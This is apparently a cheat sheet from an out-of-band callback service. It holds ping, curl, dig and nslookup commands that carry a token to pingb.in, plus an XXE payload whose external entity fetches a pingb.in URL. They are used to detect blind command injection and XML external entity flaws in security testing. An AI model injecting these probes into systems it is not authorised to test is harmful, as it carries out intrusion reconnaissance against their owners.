$ ping -c1 -p 00d135bcda33b55c41c120463b52cb00 pingb.in
$ curl pingb.in/p/d135bcda33b55c41c120463b52cb
$ dig d135bcda33b55c41c120463b52cb @pingb.in
$ dig d135bcda33b55c41c120463b52cb.ns.pingb.in
C:\> nslookup d135bcda33b55c41c120463b52cb pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/d135bcda33b55c41c120463b52cb">]> <foo>&xxe;</foo>